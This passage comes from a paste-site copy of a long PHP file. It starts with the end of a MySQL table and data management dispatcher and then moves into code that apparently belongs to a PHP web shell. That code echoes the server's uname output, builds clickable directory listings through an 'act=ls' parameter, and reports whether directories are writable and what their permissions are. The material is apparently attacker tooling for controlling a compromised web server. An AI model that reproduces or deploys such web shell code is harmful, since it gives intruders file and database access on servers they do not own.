  2449. manageField_submit( "add" );
  2450.  
  2451. else if( $action == "editField" )
  2452.  
  2453. manageField( "edit" );
  2454.  
  2455. else if( $action == "editField_submit" )
  2456.  
  2457. manageField_submit( "edit" );
  2458.  
  2459. else if( $action == "dropField" )
  2460.  
  2461. dropField();
  2462.  
  2463. else if( $action == "viewData" )
  2464.  
  2465. viewData( "" );
  2466.  
  2467. else if( $action == "addData" )
  2468.  
  2469. manageData( "add" );
  2470.  
  2471. else if( $action == "addData_submit" )
  2472.  
  2473. manageData_submit( "add" );
  2474.  
  2475. else if( $action == "editData" )
  2476.  
  2477. manageData( "edit" );
  2478.  
  2479. else if( $action == "editData_submit" )
  2480.  
  2481. manageData_submit( "edit" );
  2482.  
  2483. else if( $action == "deleteData" )
  2484.  
  2485. deleteData();
  2486.  
  2487. else if( $action == "utils" )
  2488.  
  2489. utils();
  2490.  
  2491.  
  2492.  
  2493. mysql_close( $mysqlHandle);
  2494.  
  2495. footer_html();
  2496.  
  2497. }
  2498.  
  2499. }
  2500.  
  2501. ?>
  2502.  
  2503. <p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p>
  2504.  
  2505. <?php
  2506.  
  2507. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2508.  
  2509. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  2510.  
  2511. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2512.  
  2513. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2514.  
  2515. $d = str_replace("\\\\","\\",$d);
  2516.  
  2517. $dispd = htmlspecialchars($d);
  2518.  
  2519. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  2520.  
  2521. $i = 0;
  2522.  
  2523. foreach($pd as $b)
  2524.  
  2525. {
  2526.  
  2527. $t = "";
  2528.  
  2529. $j = 0;
  2530.  
  2531. foreach ($e as $r)
  2532.  
  2533. {
  2534.  
  2535. $t.= $r.DIRECTORY_SEPARATOR;
  2536.  
  2537. if ($j == $i) {break;}
  2538.  
  2539. $j++;
  2540.  
  2541. }
  2542.  
  2543. echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  2544.  
  2545. $i++;
  2546.  
  2547. }
  2548.  
  2549. echo "&nbsp;&nbsp;&nbsp;";
  2550.  
  2551. if (is_writable($d))
  2552.  
  2553. {
  2554.  
  2555. $wd = TRUE;
  2556.  
  2557. $wdt = "<font color=green>[ ok ]</font>";
  2558.  
  2559. echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  2560.  
  2561. }
  2562.  
  2563. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement